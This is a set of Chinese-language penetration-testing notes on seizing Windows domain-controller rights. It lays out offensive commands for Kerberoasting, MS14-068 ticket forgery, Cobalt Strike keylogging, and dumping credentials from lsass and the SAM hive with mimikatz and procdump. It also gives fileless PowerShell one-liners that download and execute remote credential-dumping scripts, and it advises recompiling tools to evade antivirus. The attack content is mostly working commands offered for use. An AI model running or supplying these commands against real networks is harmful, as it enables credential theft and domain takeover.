image-20201111090310932

0x01 最终目标

  • 域控权限(域控目的时是控制运维机)
  • 运维机(运维机目的是内网核心)
  • 内网核心以及核心业务段

0x02 基本方法:

[+] 常用快速获取域控权限的方法

[+] 查找SYSVOL和组策略首选项中保存的密码

# 在域中,存在一个默认的共享路径:

# \\<DOMAIN>\SYSVOL\<DOMAIN>\

# 所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

# 测试主机所在域为 de1ay.com,可访问共享文件夹\\de1ay.com\SYSVOL\de1ay.com

# 域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密,获取到密码信息,通过Powershell脚本进行解密
image-20201111105637777
  • 常见存在敏感信息的XML文件:

组策略中可被利用的地方不只在修改管理员密码的位置,还包括以下:

  • Services\Services.xml

  • http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13)

  • ScheduledTasks\ScheduledTasks.xml

  • http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)

  • http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)

  • http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)

  • Printers\Printers.xml

  • http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13)

  • Drives\Drives.xml

  • http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13)

  • DataSources\DataSources.xml

  • http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)

[+] 通过 Kerberos TGS [服务访问票据] 离线爆破

# spn“服务主体名称”是什么?

# 服务帐户利用SPN支持Kerberos身份验证。也就是说,当客户端需要访问sever提供的服务的时候,那么就需要使用spn查询有哪些服务。
# 这种spn扫描,是正常的,在内网中,客户端想要访问服务器的资源,都需要想DC域控查询服务主体名称。

基本方法:

  1. 通过Mimikatz导出票据TGS,文件后缀为Kirbi,命令:mimikatz.exe "kerberos::list /export" exit
    • 关键点:实际环境MimiKatz进行免杀处理
image-20201111100620522
  1. 离线爆破方式:
image-20201111142451614
# (1) 通过tgsrepcrack.py工具,进行服务票据爆破
# cmd: python2 tgsrepcrack.py password.txt loecho.Kirbi

# (2) 通过kirbi2john.py将导出的loecho.kirbi转换为hashcat可以破解的格式,使用hashcat破解
# cmd: 
#      1. python2 kirbi2john.py python /usr/share/john/kirbi2john.py 2-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi > output.txt (提取Kerberos tickets,结果output.txt的密码类型是Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])

#	   2. 通过HashCat进行爆破:
#	   cmd: hashcat -m 13100 output.txt pasword.txt --force

# (3) 通过Invoke-Kerberoast(https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1)导出票据,hashcat破解 

# 执行没有任何结果
# import-module .\Invoke-Kerberoast.ps1
# Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

# 提示没有AdminCount参数
# Invoke-Kerberoast -OutputFormat Hashcat | fl
# Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

[+] 键盘记录/屏幕截图获取关键的敏感记录

基本方法:

关键点: 实际使用中,免杀处理等一系列操作

  1. Cobalt Strike 键盘记录,记录选择运维人员/管理人员的主机进行记录
image-20201111145249838
  • 屏幕截图
image-20201111145803950

[+] 密码搜集 比如从LDAP中搜集各类密码/从已控主机搜各类软件存储的密码

image-20201111150353759

[+]ms14-68 Kerberos 协议漏洞利用 [漏洞太老,实际中遇到较少]

1、PyKEK

最先公开的利用方法是Sylvain Monné用Python实现的PyKEK

准备条件:

  • 域用户及其口令
  • 域用户对应sid
  • 域控地址
  • Win7及以上系统

Tips:

  1. 操作系统要求Win7及以上,这是因为XP不支持导入Ticket
  2. 攻击主机可使用其他域用户信息,比如可以在主机A上用域用户B的口令及sid攻击
  3. 将Python脚本转成exe即可在任意一台Windows主机使用

漏洞利用的步骤为:

  • 如果漏洞触发成功,会生成.ccache文件
  • 通过klist purge先清除内存中的Ticket
  • 使用mimikatz的ptc功能将.ccache导入到内存
  • 通过klist查看导入的Ticket
  • 使用net use 连接域控

Tips:

  1. 如果不先清除内存中的Ticket直接导入,有可能会失败
  2. 连接域控要使用域控地址,不要用IP

2、kekeo

Benjamin DELPY用c实现了MS14-068的利用工具,更简单高效。

因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现,当然,如果想用其他域用户信息攻击,也可以加上sid手动导入票据

kekeo的快捷用法仅需要以下参数:

  • 域用户及其口令
  • 域控地址

3. 通过提权exp,直接从普通域用户提权到域管理员用户

[+]借助各类基础服务漏洞进行密码Hash抓取

基本原理:

通过各种方式,不管是在线还是离线基本原理都是对Windows的Lsass.exe进行内存读取/或者是通过读取SAM数据库,提取出里面存储的用户Hash

[+] 工具直接Dump:

  • Mimikatz(实际环境处理特征/重新编译)运行条件: 高权限
# 编译有俩个版本,根据目标环境不同选用不同版本

# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
image-20201111152641976
  • QuarksPwDump 运行条件: 高权限

image-20201111154333723

  • wce.exe -w 运行条件: 高权限
image-20201111154807944

[+] Dump内存文件/导出SAM数据库,后续通过工具解密

  • REG+Mimikatz
reg save hklm\sam .\sam.hive&reg save hklm\system .\system.hive # 导出文件
image-20201111160102796
# 1.解密文件,导入SAMInside,复制NT-Hash进行碰撞/查询

# 2.找自己测试机,通过Mimikatz离线读取,进行数据读取

lsadump::sam /sam:sam.hive /system:system.hive
image-20201111160917486
  • Procdump(微软官方程序)+Mimikatz
# Procdump.exe -accepteula -ma lsass.exe lsess.dmp  # 导出lsass内存文件
image-20201111161602368
# 通过Mimikatz进行载入/读取:

# minidump lsass.dmp    # 切换文件

# sekurlsa::logonPasswords full  # 导出hash/密码
image-20201111161955727
  • 无文件DumpHash,远程加载Powershell脚本
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"
  • 尝试根据之前搜集汇总的密码/字典进行精确爆破SMB